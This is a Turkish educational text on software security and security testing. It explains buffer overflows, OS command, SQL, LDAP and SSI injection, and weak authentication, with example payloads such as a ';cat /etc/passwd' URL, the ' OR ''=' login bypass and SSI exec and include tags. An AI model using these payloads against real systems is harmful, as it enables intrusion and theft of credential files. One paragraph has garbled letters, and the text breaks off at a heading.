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1. Bilgisayar Sistemleri  ve Yazılım Güvenliği

Bilginin güvenliğini efektif şekilde sağlamak, karşılaşılabilecek tehditlere karşı önlem almaya dayanır. Bilgi güvenliğini sağlamak için standart eğilim sistemin değişik parçalarına ilişkin spesifik riskleri control etme amaçlı farklı katmanlardan oluşan bir yapı oluşturmaktır.
1.1 İşletim Sistemi Yazılımları

Esasen bilgi fiziksel olarak donanımın bi parçası olan hard diskte bulunur ve işlemci ile memory ile kullanılır. İşletim sistemi de donanımı kapsar giriş çıkış birimleriyle haberleşerek bilgisayar ile dışdünya arasındaki bağlantıyı sağlar.İşletim sistemi uygulama yazılımı ile fiziksel data arasında bir link oluşturur.

İşletim sitemi disk üzerindeki verileri dizi ve dizinler içinde bulunan  bit dizileri olarak algılar, bir çalışanın telefon numarasının digerininkinden önemli olması işletim sistemi için anlamsızdır. Uygulama yazılımının görevi bu bilgileri anlamlandırmaktır.

Örneğin bir uygulama yazılımında müşteri kendi borç bakiyesini görebilmekte fakat değiştirememekte olsun. İyi uygulama yazılımı hangi dataya hangi kullanım haklarına sahip hangi kişilerin bulundugu bilgisini iyi tanımlar ve sisteme erişimi bu tanımlamalar üzerinden yaparsa kullanıcılara kontrollü bir hizmet vermiş olur. Fakat kullanıcı uygulamanın herhangi bir açığından dataya ulaşabilirse uygulama yazılımındaki tüm tanımlamalar ve erişim hakları geçersiz olur.

Yani herhangi bir davetsiz misafir dataya işletim sistemi üzerinden erişebilirse ki bunu uygulama yazılımının control etmesi gerekir, bunu uygulama yazılımı control edemiyorsa iş işletim sitemine kalmış demektir.

İşletim sistemi yazılımları ise birbirlerinden farklı güvenlik mekanizmalarına sahip olabildikleri gibi, versiyonları arasında bile farklılık gösterebilir. Genelde kulanıcının istegine gore yüksek ya da düşük güvenlik ayarlarına sahiptirler. İşletim sitemi kullanıcılarını tanımlayarak veriye erişme hakkında  farklı haklar ve öncelikler tanımlar. Bu yüzden işletim sistemi yöneticisi kullanıcı haklarını iyi tanımlamalıdır ki uygulama yazılımlarının açıklarından faydalanılarak ulaşılmaması gereken verilere ulaşılmasın ya da istenilmeyen değişikliklere imkan tanınmasın. Çoğu  işletim sistemi bir network üzerinden başka işletim sistemleriyle haberleşebildiği için sistem yöneticisinin hangi hizmetlerin ne kadarından faydalanacagını tanımlaması gerekir.[2]
1.2 Veritabanı Yönetim Sistemleri Yazılımları

Çoğu uygulama yazılımı işletim sisteminin kullandıgı gosya ve dizin yapısını kullanmaktansa, bilgileri tablolar halinde tutup, bu şekilde işlemeyi daha kolay manipule edilirbuldugu için bir veritabanı yazılımı kullanmaktadır.DBMS(Database Management Server) uygulama yazılımı ile işletim sistemi arasında bir tabaka gibidir.Uygulama yazılımı olmadan da DBMS içerindeki veri SQL ile  işlenebilinir. Bu yüzden database yazılımcıları ya da database kullanan uygulama yazılımcıları, DBMS hakkında iyi bilgi sahibi yazılımcılar olmalıdır ki ,erişim hakları ve verinin istenilen şekilde işlenebilmesini control altında tutabilmelidir.[2]

Sonuç olarak işletim sistemi, veri tabanı ve çeşitli yazılım uygulamaları bilgi güvenliği için anahtar ögelerdir. İşletim sistemi veya veritabanı yazılımlarındaki en ufak zayıflık çok iyi tasarlanmış bir uygulama yazılımının control ve güvenliğini geçersiz kılabilir.

1.3 Yazılım Güvenliği
Hangi kaynaktan geldiğine emin olamadığımız kodların bilinçsizce çalıştırılması sonucu her gün binlerce sistem milyonlarca dolarlık hasara uğramakta ve çok büyük iş gücü ve performans kaybı oluşmaktadır. Bu durum hem yazılım geliştiriciler hme de son kulanıcılar için önemli bir handikap oluşturmaktadır. 
Yazılım güvenliği bilgi güvenliği probleminde kritik ve merkezi bir öneme sahiptir. Kötü niyetli davetsiz misafirlerin yazılımın zayıf yönlerinden sisteme girmeye çalışmaları yıllardır süregelen bir sorundur. 

CERT koordinasyon merkezinin verilerine göre 2003 yılında , 2002 yılındakine oranla %70 artış gösteren yazılım zayıflıkları ve açıkları  raporlanmıştır. 
Yazılım güvenliği ve güvenli yazılım iyi bir yazılım mühendisliği pratiğine ve yazılım geliştirme sürecinde güvenlikle alakalı önlemlerin ne kadar erken alınmaya başlandığına bağlı bir gelişim gösterir. Risk analizleri ve test süreçlerini geliştirme aşamalarına yaymak, geliştiricileri,tasarımcıları ve kullanıcıları eğitmek,  güvenli yazılım oluşturmanın temel anahtarlarıdır.[3]
1.3.1 Güvenli Yazılım Geliştirme
Güvenli bir sistem oluşturabilmek güçtür. Sistemlerdeki güvenlik açıkları yüzünden bir çok system kırılmaktadır. Bu açıklıkların kaynağı donanım ve yazılım olmak üzere iki temele dayanır. Günümüzde donanımsal hatalar en aza indirgenmiş durumdadır. Orataya çıkan güvenlik açıkları büyük oranda yazılımsaldır. Yeni jenerasyon diller, örneğin .Net gibi,  belirlli bir güvenlik alt yapısıyla beraber gelmektedir. Programcının kullandıgı dil ve uygulama geliştirdiği ortam hakkında tecrübeli olmasıyla çoğu güvenlik açığının önüne geçilebilmektedir.
Güvenlik göz ardı edilerek, işlevsellik ve hız temelli yapılan işlemler, beraberinde çok sayıda güvenlik açığını getirmektedir. Proje ekibindeki tum bireyler sorumlu oldugu parçanın güvenlik açıklarını göz önünde bulundurmak zorundadır.
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Şekil 1 Yazılım Proje Ekibi ve Güvenlik

Çeşitli dil ve platformlar güvenlik alt yapısı oluşturarak programcını güvenli kod yazmasına katkıda bulunmaktadır. Örneğin Java dilinin güvenlik modeli kullancıları  farkında olmadan güvensiz bir kaynaktan indirdikleri  kötü amaçlı programlardan korumaya yöneliktir. Bunu sağlamak için her java programı sandbox(kum sandığı) denilen bir çalışma alanı ile sınırlandırılır. Program sadece kendi kutucuk sınırları içinde çalışabilir.Öneğin diskten okuyup, diske yazarken, herhangi bir sunucuya bağlanma isteği gönderirken, yeni bir proses yaratırken yada dinamik bir kütüphane yüklerken kendi yetki sınırları dışına çıkamaz. Bu güvensiz java appletlerin aktivitelerini engelleme amaçlı dil tarafından oluşturulan bir alt yapıdır.
Microsoft .Net’deki güvenlik alt yapısı .Net Framework çatısında rol bazında güvenlik, kod erişim güvenliği gibi politikalar bulundurmaktadır. 

Dillerin getirdiği güvenlik alt yapısının iyi değerlendirilmesinin yanında proje ekibinin güvelik konusunda çok dikkatli olmaları gerekir.[4]
2. Kalite Güvence ve Gelişiminde Standartlar ve Yazılım Güvenlik Testleri 
Yazılım Mühendisliği Enstitüsü’nün Kapasite Olgunluk Model’i (The Software Engineering Institute’s Capability Maturity Model - CMM) ve  General Electric kuruluşunun Six Sigma adlı modeli en çok kullanılan kalite gelişim modelleridir. SSE-CMM (System Security Engineering (SSE) - CMM) yazılım güvenliği modeli olarak kullanılan uluslarası bir standarttır.[5]
SSE-CMM ile gelen süreçte yazılım olgunluk modelleri yazılım güvenliğini de kapsayacak şekilde genişletilmeye başlandı. Yapılan son genişletme ve geliştirmelerden bazıları:

· CMMI/iCMM modeline güvenlik ve güvenilirlik eklentileri yapıldı
· ISO/ IEC  Standart 15026 sistem ve yazılım güvenlik modeli ISO/IEC 15288 ve ISO/IEC 12207 modellerine güvenlik bileşenini getirdi.
· SDL(Microsoft Security Development Lifecycle) oluşturuldu.
· OWASP (Open Web Application Security Project) tarafındanCLASP süreç modeli oluşturuldu (Common Lightweight Application Security Process)
2.1 Yazılım Güvenlik Testi

Yazılım güvenliği testi yazılım ürününün gerçekten güvenli olup olmadığını sorgular. Güvenlik testinin temel amaçları:

1. Güvenlik eksiklikleri, kodlama hatalarını bulmak
2. Herhangi bir saldırı karşısında uygulamanın cevabını göstermek

3. Güvenli ve güvensiz ortamda güvenlik fonksiyonlarının yerine getirildiğini doğrulamak
Yazılım güvenlik testleri risk tabanlı olup yazılım geliştirme aşamasında saldırı paternlerinin oluşturulmasını içerir. Bu açıdan fonksiyonel test için kullanılan teknik ve araçlar güvenlik testi sırasında kullanılabilir. Tek fark risk tabanlı testlerden elde edilmiş test senaryolarının olmasıdır.[5] Test planları test durumlarının oluşturulmasıyla başlar. Güvenlik test durumları aşağıdaki durumları gösterir:

· Yazılım, beklenen ve beklenmeyen tüm durumlarda sürekli ve güvenli işlevselliğe sahiptir.

· Yazılım çökerse, çöküş yazılımdan ayrılmaz, verisi  ya da kaynağı saldırıya maruz kalır.
· Arayüzler ile yazılımın diğer parçaları arasındaki ve işletim sistemi ile iletişim sürekli güvenlidir.
Yazılım testinin ilk aşaması test durumlarını belirlemektir. Fakat bu durumların dokümante edilmesinden önce testin yapılacağı alan seçilmelidir. Bu işi üç kategoriye ayıracak olursak:

1. Uygulama girdilerinin tanımlanması

2. Uygulama çıktılarının tanımlanması

3. Kurulum ve yayılım

Bu başlıklar standart test planında güvenliğe özgü ayrıntılar ekleyerek ayrıntılı olarak inecelenecektir.
Aşağıda test sürecinin yazılım geliştirme sürecinin tümüne etkin oldugu ideal bir süreç şeması gösterilmektedir:
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Şekil 2 Yazılım Geliştirme Süreci 

2.1.1 Uygulama Girdilerinin Tanımlanması

Kullanıcı tarafından değiştirilerek gelecek olan tüm girdi verileri tanımlanmalıdır. [6]Uygulama yazılımının giriş verileri aşağıdaki biçimlerde olabilir:

· Dosyalar

· Ortam Değişkenleri

· Parametreler(Herhangi bir web uygulaması, konsol parametresi ya da uygulamadaki form benzeri nesnelerden gelebilecek olan veriler)

· Konfigürasyon Dosyaları

· Windows Kayıtları

· Veritabanı Kaynağı

· Gizli Debug Komutları

· Uygulama geliştiricilerden alınan diğer giriş veri tipi bilgileri

Giriş verileri ile ilgili tehditlerin test edilmesi gerekir. Bu tehditlerden bazıları aşağıdaki gibidir:
Ara Bellek Taşması

Ara bellek taşması sömürüleri hafızanın bazı bölümlerinin üzerine yazarak uygulamanın akışını değiştiren saldırılardır. Ara bellek taşması hata ile sonuçlanan genel bir yazılım kusurudur. Bu hata durumu, ayrılan yerden daha çok veri hafızada bir yere yazıldığında oluşur. Bellek taştığında, komşu hafıza bölgelerinin üzerine yazılarak hatalara veya çökmelere neden olunur. Kısıtlanmadığı takdirde, özellikle hazırlanmış girdi, bellek taşmasına sebep olarak birçok güvenlik sorununa neden olabilir.

Bellek taşmasının, hafızayı bozması yazılımın çökmesi ile sonuçlanır ve bu şekilde hizmet dışı saldırısı olarak kullanılabilir. Bellek taşmasının uygulama akışını değiştirebilmesi ve programı istenmeyen hareketlere zorlayabilmesi ise daha kritiktir. Bu senaryo birçok şekilde gerçekleşebilir. Bellek taşması açıklıkları, yığın işaretçilerinin üzerine yazmak suretiyle programı yeniden yönlendirmek ve zararlı kodlar çalıştırmak için kullanılmaktadır. Bellek taşması program değişkenlerini değiştirmek için de kullanılmaktadır.

Bellek taşması açıklıkları genellikle C ve C++ gibi programlama dillerinde meydana gelir. Bir Bellek taşması bir CGI programında veya bir C programına ulaşan bir web sayfasında meydana gelebilir.[6]
Arabellek Taşmalarının tehlikeleri nelerdir ? :

Arabellek taşmaları sonucunda iki durum oluşabilir :

1. İyi Durum : Bazı arabellek taşmaları kendini hemen belli eder. Arabellek

taşması içeren program çalıştırıldığında taşmanın olduğu noktada

programın çalışması sonlanacak ve kullanıcıya .Segmentation fault., .Bus

Error. veya .Segmentation fault (core dumped). şeklinde bir hata mesajı

verilecektir.

2. Kötü Durum : Bazı arabellek taşmaları kendini belli etmez. Programınız

son derece iyi bir şekilde çalışıyor görünür ama içeride bellek alanında bir

yerlerde sizi son derece üzecek bir bit dizisi sıranın kendisine gelmesini

bekliyordur. Bu durumda iki tehlike vardır :

1. Az önceki örnekte olduşu gibi bir ('c') veya daha fazla deşişkenin

deşeri deşişmiştir. Program eşer bu deşişkenin deşerini ileride

kullanırsa, o andan itibaren programın bütünlüşü bozulur ve artık o

programdan herşey beklenebilir. Örnek olarak o deşişken, bir finans

uygulamasında bir kişinin borç hanesini oluşturuyorsa, deşerin 1024'e

katlanması gibi şu durumda son derece olası bir olay gerçekleşebilir. Bu

da ailelerin yıkılmasına hatta hatta toplumsal bir kargaşaya yol açabilir.
2. Sürecin, fonksiyonun sonlanmasından sonra çalıştıracağı komut dizisinin adresini değiştirebilir. Yani, süreç, çalıştırmaması gereken komutları çalıştırmaya yönlendirilebilir.

İşletim Sistemi Yönetme

İşletim Sistemi Yönetme, uygulama girdilerinin düzenlenmesi yoluyla işletim sistemi komutlarını çalıştırma ve bu şekilde web sitelerini sömürme tekniğidir.

Web uygulaması kullanıcı-kaynaklı girdileri uygulama kodunda kullanmadan önce düzgün bir biçimde denetlemediği takdirde, uygulamayı işletim sisteminin komutlarını çalıştıracak biçimde kandırmak mümkün olabilir. Çalıştırılan komutlar çalıştıran kısmın haklarıyla çalışırlar. (örn. Veritabanı sunucusu, Web uygulaması sunucusu, Web sunucusu, etc.)

Örnek

Perl, dosya isminin arkasına ‘|’(aktarım karakteri) eklemek suretiyle, bir işten bir open cümlesine veri aktarımına izin verir.

Aktarım Karakteri(|) Örnekleri:

# “/bin/ls” ’i çalıştırma ve çıktıyı open cümlesine aktarma:

open(FILE, “/bin/ls|”)

Web uygulamaları, çoğu zaman, görüntülenen veya şablon olarak kullanılan bir dosyayı belirten parametreler içerir. Eğer web uygulaması kullanıcının sağladığı girdileri düzgün bir biçimde denetlemezse, saldırgan parametre değerini kabuk komutu ve akabinde aktarım sembolü olacak biçimde değiştirebilir (yukarıda gösterildiği gibi).

Web uygulamasının orjinal URL’si:

http://example/cgi-bin/showInfo.pl?name=John&template=tmp1.txt ise;

şablon parametresinin değerini değiştirerek, saldırgan web uygulamasını /bin/ls komutunu çalışitıracak şekilde kandırabilir.

http://example/cgi-bin/showInfo.pl?name=John&template=/bin/ls|
Birçok betik dili, değişik exec fonksiyonlarını kullanarak, programcıya yürütme esnasında işletim şistemi komutları çalıştırma izni verir. Eğer bir web uygulaması kullanıcı kaynaklı girdinin denetlenmeden böyle bir fonksiyon çağrısının içerisinde kullanılmasına izin verirse, saldırganın uzaktan işletim sistemi komutları çalıştırması mümkün hale gelir. Örneğin, aşağıdaki PHP betiğinin parçası, sistem klasörünün içeriğini gösterir  (Unix sistemlerinin):

exec("ls -la $dir",$lines,$rc);

Kabuk komutunun, sonuna noktalı virgül (;) ve işletim sistemi komutu ekleyerek çalışırsa, web uygulması ikinci komutu çalıştırmaya zorlanabilir: 
http://example/directory.php?dir=%3Bcat%20/etc/passwd
Sonuç /etc/passwd dosyasının içeriğini döndürecektir.[6]
SQL Enjeksiyonu

SQL enjeksiyonu, kullanıcı kaynaklı girdilerden SQL cümleleri oluşturan web sitelerini sömürmek için kullanılan bir saldırı tekniğidir.

Structured Query Language (SQL) veritabanlarına sorgu yapmak üzerine özelleşmiş bir programlama dilidir. Birçok küçük ve endüstriyel güçteki veritabanı uygulamalarına SQL cümleleri aracılığıyla ulaşılabilir. SQL hem ANSI hem de ISO standardıdır. Fakat, SQL’i destekleyen birçok veritabanı ürünü standart dile özel eklentiler getirir. Web uygulamaları kullanıcı kaynaklı girdileri, dinamik web sayfası talepleri için, değişik SQL cümleleri oluşturmada kullanabilir.

Eğer bir web uygulaması, kullanıcı kaynaklı girdiyi düzgün bir biçimde denetlemezse, bir saldırgan arka taraftaki SQL cümlesi oluşumunu değiştirebilir. Saldırgan SQL cümlesini değiştirdiğinde, işlem komutu çalıştıran öğenin haklarıyla çalışacaktır. (örn. veritabanı sunucusu, web uygulaması, web sunucusu, vb.) Bu saldırının sonucu olarak saldırgan, veritabanının tamamının kontrolünü eline geçirebildiği gibi, sistem üzerinde de komutlar çalıştırabilir.

LDAP enjeksiyonu için geçerli olan gelişmiş sömürme teknikleri benzer bir biçimde SQL enjeksiyonunda da uygulanabilir.[6]
Örnek

Bir web tabanlı kimlik doğrulama formu şöyle bir koda sahip olabilir:

SQLQuery = "SELECT Username FROM Users WHERE Username = '" & strUsername & "' AND Password = '" & strPassword & "'" strAuthCheck = GetQueryResult(SQLQuery)

Bu kodda, geliştirici kullanıcı girdisini formdan alıp doğrudan SQL sorgusunun içine gömüyor.

Farzedelim ki, saldırgan şöyle bir kullanıcı adı ve parola giriyor:

    Login: ' OR ''='

    Password: ' OR ''='

Bu, sonuçlanan SQL sorgusunun şöyle olmasına sebep olur:

SELECT Username FROM Users WHERE Username = '' OR ''='' AND Password = '' OR ''=''

Kullanıcılar tablosundaki bilgilerle kullanıcının girdiği bilgileri karşılaştırmak yerine, sorgu '' ile '' karakterlerini karşılaştırıyor. Bu karşılaştırma doğru sonuç dönecek ve saldırgan kullanıcılar listesindeki ilk kullanıcı olarak sisteme girecektir.

Genel olarak bilinen iki SQL enjeksiyon metodu bulunmaktadır: Normal SQL enjeksiyonu ve Kör SQL Enjeksiyonu. İlkinde, vanilya SQL enjeksiyonu, saldırgan, geliştiricinin sorgusuyla uyuşması için, kendi sorgusunu dönen hata mesajlarındaki bilgileri kullanarak biçimlendirir.

LDAP Enjeksiyonu

LDAP enjeksiyonu kullanıcı girdilerinden LDAP cümleleri oluşturan web sitelerini sömürmeye yarayan bir saldırı tekniğidir.

Lightweight Directory Access Protocol (LDAP) X.500 dizin servislerini düzenlemeye ve sorgulamaya yarayan açık standartlı bir protokoldür. LDAP protokolü TCP gibi internet taşıma protokollerinin üzerinde çalışır. Web uygulamları, dinamik web taleplerini karşılamak için, kullanıcı girdileri ile oluşturulan LDAP cümleleri kurar ve kullanır. 

Eğer kullanılan bu kullanıcı girdileri düzgün bir şekilde denetlenmezse, bir saldırgan LDAP cümlesinin oluşumunu değiştirebilir. Saldırgan LDAP cümlelerini değiştirebilirse, bu işlem komutu çalıştıran öğenin haklarıyla çalışır. (Örn. Veritabanı sunucusu, Web uygulaması sunucusu, Web sunucusu, vb.) Bu hakların LDAP ağacındaki herşeyin sorgulanmasını, değiştirilmesini veya silinmesini sağladığından, ciddi güvenlik problemlerine sebep olabilir.

Aynı gelişmiş sömürü teknikleri SQL enjeksiyonu için de geçerlidir ve LDAP enjeksiyonuna benzer bir şekilde uygulanabilir.[6]
Örnek

Yorumlarla Açıklığı Bulunan Kod:

Satır 0: <html>

Satır 1: <body>

Satır 2: <%@ Language=VBScript %>

Satır 3: <%

Satır 4: 
Dim userName

Satır 5: 
Dim filter

Satır 6: 
Dim ldapObj

Satır 7: 

Satır 8: 
Const LDAP_SERVER = "ldap.example"

Satır 9: 

Satır 10: 
userName = Request.QueryString("user")

Satır 11: 

Satır 12: 
if( userName = "" ) then

Satır 13: 

Response.Write("<b>Geçersiz talep. Lütfen geçerli bir kullanıcı ismi ve parolası giriniz</b><br>")

Satır 14: 

Response.End()

Satır 15: 
end if

Satır 16: 

Satır 17: 

Satır 18: 
filter = "(uid=" + CStr(userName) + ")"

' kullanıcı girdisini arıyor

Satır 19: 

Satır 20: 

Satır 21: 
'LDAP objesini oluşturuyor ve temel dn’i tanımlıyor

Satır 22: 
Set ldapObj = Server.CreateObject("IPWorksASP.LDAP")

Satır 23: 
ldapObj.ServerName = LDAP_SERVER

Satır 24: 
ldapObj.DN = "ou=people,dc=spilab,dc=com"

Satır 25: 

Satır 26: 
'arama filtresini tanımlıyor

Satır 27: 
ldapObj.SearchFilter = filter

Satır 28: 

Satır 29: 
ldapObj.Search

Satır 30: 

Satır 31: 
'Kullanıcı bilgisini gösteriyor

Satır 32: 
While ldapObj.NextResult = 1

Satır 33: 

Response.Write("<p>")

Satır 34: 

Satır 35: 

Response.Write("<b><u>User information for : " +ldapObj.AttrValue(0) + "</u></b><br>")

Satır 36: 

For i = 0 To ldapObj.AttrCount -1

Satır 37: 


Response.Write("<b>" + ldapObj.AttrType(i) +"</b> : " + ldapObj.AttrValue(i) + "<br>" )

Satır 38: 

Next

Satır 39: 

Response.Write("</p>")

Satır 40: 
Wend

Satır 41: %>

Satır 42: </body>

Satır 43: </html>

Koda baktığımızda, 10. satırda userName değişkeninin user parametresiyle başlatıldığını ve ardından hızla boş olup olmadığının kontrol edildiğini görüyoruz. Eğer değer boş değilse, userName 18. satırda filter değişkenine ilk değeri atanıyor. Bu yeni değişken ise 27. satırda SearchFilter’a yapılan çağrıda kullanılan LDAP sorgusunu oluşturmak için doğrudan kullanılıyor. Bu senaryoda, saldırgan LDAP sunucusu üzerindeki sorguda mutlak kontrole sahip, ve sorgusunun sonuçlarını 32. ve 40. satırlar arasında, bütün sonuçlar ve özellikleri kullanıcıya tekrar gösterildiğinde alacaktır.

Saldırı Örneği

http://example/ldapsearch.asp?user=*

Yukarıdaki örnekte, user parametresi olarak * karakterini gönderiyoruz, ve sonuç olarak koddaki filter değişkenine * ilk değeri atanıyor (uid=*). Sonuçlanan LDAP cümlesi sunucuya uid özelliği bulunan her objeyi döndürmesini sağlayacaktır.

Yetersiz Kimlik Doğrulama

Yetersiz kimlik doğrulama, bir web sitesinin saldırgana uygun bir kimlik doğrulama gerçekleştirmeden hassas içeriğe ya da fonksiyonlara erişim izni vermesiyle gerçekleşir.

Web tabanlı yönetim araçları hassas fonksiyonlara erişim sağlayan web sitelerine iyi birer örnektir. Kaynağına göre web uygulamalarına kullanıcıların tam olarak kimlikleri onaylanmadan direk olarak erişilmemelidir.

Kimlik doğrulamanın daha iyi yapılabilmesi maksadıyla bazı kaynakların belli adres bilgilerinin gizlenmesi ve söz konusu adres bilgilerinin ana web sitesiyle ya da diğer genel adresler ile herhangi bir bağlantısının olmaması söz konusu olmaktadır. Buna rağmen, bu yaklaşım “belirsizlik (gizlemek) yoluyla güvenlik” metodundan başka bir şey değildir.

Bir kaynak saldırgan tarafından bilinmiyorsa bile belirli bir URL adresi ile bu kaynağa erişilebilir. URL adresi, yaygın kullanılan dosya ve dizin konumlarında (örneğin /admin), hata mesajlarında, kayıtlarda veya yardım dosyalarında kaba kuvvet yöntemiyle araştırılarak bulunabilir. Sözü edilen bu kaynaklar eğer içerik veya fonksiyonel olarak gerekli ise uygun bir şekilde korunmalıdır. 

Örnek

Bir çok web uygulaması, ana dizin dışında (/admin) başka dizinlere kurulmuştur ve bazı yönetici fonksiyonlarına göre tasarlanmıştır. Bu dizinden web sitenin herhangi bir yerine hiç bir zaman link kurulmamıştır fakat söz konusu dizine standart bir web tarayıcısı ile erişmek hala mümkündür. Uygulamayı geliştiren kişi, web sayfasına herhangi bir link oluşturulmadığı ve herhangi bir kullanıcının da bu web sitesini görmesini beklemediği için söz konusu sayfaya kimlik doğrulama fonksiyonu eklemeyi çoğu zaman gözden kaçırmaktadır. Eğer saldırgan basit bir şekilde bu web sayfasını ziyaret edecek olursa, web sitesine tüm yönetici yetkileri ile erişme yetkisi kazanacaktır.

Zayıf Parola Kurtarma Denetimi

Zayıf parola kurtarma denetimi, bir web sitesinin saldırganın illegal olarak bir başkasının parolasını ele geçirmesine, değiştirmesine veya kurtarmasına izin verdiği durumdur. Geleneksel web sitesi kimlik doğrulama metodları kullanıcıların bir parola ya da anahtar parolası (güvenlik kodu) seçmelerini ve bu bilgileri hatırlamalarını gerektirir. Söz konusu parolayı sadece sahibi olan kullanıcı bilmeli ve parola tam olarak hatılanmalıdır.

Zaman geçtikçe kullanıcının parolayı hatırlayabilmesi zorlaşır. Normal bir kullanıcı parola gerektiren 20 web sitesi ziyaret ediyorsa hatırlama sorunu daha da artar. (RSA İncelemesi: http://news.bbc.co.uk/1/hi/technology/3639679.stm)

Bu sebepten dolayı, parola kurtarma fonksiyonu çevrimiçi servis veren sistemlerin önemli bir parçası olmuştur.

Örnek otomatik parola geri elde etme işlemleri, kullanıcının kayıt olma işleminde belirlediği gizli soruya cevap vermeyi gerektirmektedir. Bu soru verilen soru listesinden seçilir ya da kullanıcı tarafından belirlenir. Kullanılan başka bir mekanizma ise kullanıcının parolayı hatırlaması için kayıt olma işlemi sırasında belirlenen bir yardım bilgisini kullanıcıya sunmasıdır. Diğer mekanizmalar, kullanıcının kimliğini doğrulamak için sosyal güvenlik numarası, ev adresi, zip kodu v.b gibi kişisel bilgilerin girilmesini gerektirmektedir. Kullanıcının kim olduğunu kanıtlamasından sonra sistem yeni parolayı kullanıcıya gösterir ya da e-posta yolu ile gönderir.

Saldırgan parola kurtarma mekanizmasını yanıltabiliyorsa, web sitesi zayıf bir parola kurtarma mekanizmasına sahip demektir. Parolayı kurtarma işlemi sırasında kullanıcının kimliğini onaylamak için gereken bilgi tahmin edilebiliyorsa veya bu bilgi isteme işlemi atlatılabiliyorsa bu durum oluşur. Parola geri kurtarma sistemleri kaba kuvvet saldırıları, sistem açıklıkları ve kolay tahmin edilebilir gizli sorular kullanılarak istismar edilir.

Örnek

(Zayıf parola geri elde etme metodları)

Bilgi Onaylama

Bir çok web sitesi, kullanıcılardan sadece e-posta adresi, ev adresi ve telefon numarası bilgilerini isterler. Bu bilgiler bir çok çevrimiçi beyaz sayfalardan elde edilebilir. Sonuç olarak onaylama bilgisi çok gizli değildir. Ayrıca söz konusu bilgiler XSS ve balık tutma saldırıları gibi diğer metodlarla da elde edilebilir.

Parola İmaları

Kullanıcıya parola hatırlatmak için parola ipuçları kullanan web siteleri ipuçlarının kaba kuvvet saldırılarını kolaylaştırabilmesi sebebiyle rahatlıkla saldırılara maruz kalabilir. Kullanıcı iyi bir parola olan "122277King" ve parola ipucu olan "bday+fav author" kullanabilir. Bu durumda saldırgan parola ipucundan kullanıcının parolasının kullanıcının doğum günü ve favori yazarının birleşimi olduğunu çıkarabilir. Elde edilen bu bilgi, sözlük kaba kuvvet saldırısının parolayı tahmin etmede başarılı olma ihtimalini çok büyük miktarda artırır.

Gizli Soru ve Cevap

Kullanıcının parolası “Richmond” ve gizli soru da “Nerede doğdunuz” sorusu olabilir. Saldırgan kaba kuvvet saldırısını şehir isimlerine yoğunlaştırır. Bunun yanında saldırgan hedef kullanıcı hakkında az bir bilgi biliyorsa doğum yerini öğrenme kolay bir iş haline gelir.

SSI Enjeksiyonu

SSI Enjeksiyonu (Server-side Include) bir saldırganın, bir web uygulamasına, daha sonradan web sunucusu tarafından yerel olarak çalıştırılması için, kod göndermesine izin veren bir sömürü tekniğidir. SSI enjeksiyonu, web uygulmasının kullanıcı kaynaklı veriyi sunucu tarafında hazırlanan HTML dosyasına denetim yapmadan koyması hatasını sömürür.  

Bir web sunucusu HTML web sayfasını sunmadan önce, sunucu taraflı Include cümleleri bulup çalıştırabilir. Bazı durumlarda (örn. mesaj tahtaları, misafir defterleri, veya içerik yönetim sistemleri), web uygulaması kullanıcı kaynaklı verileri web sayfasının kaynak kodunun içine koyar. 

Eğer bir saldırgan sunucu taraflı Include cümleleri yollarsa, keyfi işletim sistemi komutları çalıştırabilme yeteneğine sahip olabilir, veya kısıtlı bir dosyanın içeriğini sayfanın bir sonraki servisine dahil ettirebilir.

Örnek

Takip eden SSI etiketi (tag), bir saldırganın, bir UNIX tabanlı sistemin kök dizininin listesini almasını sağlar.

<!--#exec cmd="/bin/ls /" -->

Takip eden SSI etiketi, bir saldırganın, bir .NET konfigürasyon dosyasında saklanan veritabanı bağlantı dizesini veya başka hassas verileri elde etmesini sağlar. 

<!--#INCLUDE VIRTUAL="/web.config"-->

Yetersiz Anti-otomasyon

Yetersiz anti-otomasyon, bir web sitesinin saldırgana normalde manual olarak (elle) yapması gereken bir işi otomatik olarak yapabilmesine izin verdiği durumdur. Bazı web sitesi fkonsiyonları otomatikleştirilmiş saldırılara karşı korunmalıdır.

Göz önünde bulundurulmamış otomatik robotlar (programlar) veya saldırganlar, web sitesinin fonksiyonlarını sistemi sömürmek veya dolandırmak için tekrar tekrar kullanabilirler. Otomatik bir robot bir dakika içinde binlerce istek çalıştırıp potansiyel iş ve servis kaybına neden olur.

Mesela, otomatik bir robot bir kaç dakika içinde onbinlerce yeni hesap açamamalıdır. Benzer olarak, otomatik robotlar diğer kullanıcıları mesaj tahtalarına tekrar tekrar mesaj yollayarak taciz edememelidirler. Bu operasyonlar sadece insanların kullanabileceği operasyonlar olarak kısıtlanmalıdırlar.

2.1.2 Uygulama Çıktılarının Tanımlanması

Yapılacak testte uygulama çıktısı olabilecek tüm verilerin ve yolların denetlenmesi gerekir. Bu çıktı türleri aşağıdaki biçimlerde olabilir:

· Dosyalar

· Ortam değişkenleri

· Network Trafiği

· Windows Kaydı

· Veritabanı Kaynağı

· Diğer türler vs…

Görüldüğü üzere çıktı verisi sadece ekranda gösterilecek text türünde veri içermez.  Dosyaya yazılacak ikili veri türünde olabileceği gibi ağ üzerinde dolaşacak bir yığın bit dizisi de olabilir. Uygulama çıktılarında yapılacak, kötü amaçlı olsun ya da olmasın, değişiklikler bu verinin tekrar okunması sırasında zararlı sonuçlar ortaya çıkarabilir.  Bu tür tehditlerin önlemlemlerinin alınması için uygulama çıktılarının bu aşamada detaylı olarak analiz edilmesi gerekir.
Çıktı verilerinin düzgün test edilmemesi sonucu orataya çıkabilecek tehditler aşağıda örneklendirilmiştir:

Bilgi Açığa Çıkarma

Bilgi açığa çıkarma bölümü, bir web sitesinin sisteme özel bilgilerinin elde edilmesi için düzenlenen saldırıları kapsar. Sisteme özel bilgiler, yazılım dağıtımı, versiyon numaraları, ve yama seviyelerini içerir. Veya bu bilgi yedek ve geçici dosyaların yeri de olabilir. Çoğu durumda, kullanıcı gereklerini karşılamak için bu bilgiyi açığa çıkarmak gerekli değildir. Birçok web sitesi bir kısım veriyi gösterecektir, fakat mümkün olduğu durumlarda, gösterilen bu verinin boyutunu azaltmak en iyisi olacaktır. Saldırgan web sitesi hakkında ne kadar çok bilgi sahibi olursa, siteyi ele geçirmesi de o kadar kolay olur.

· Dizin İndeksleme

· Bilgi Sızıntısı

· Yol Takibi

· Tahmin Edilebilir Kaynak Konumu
Yukarıdaki saldırılar bilgi açığa çıkarma amaçlı yapılan saldırılardır.

1) Dizin İndeksleme

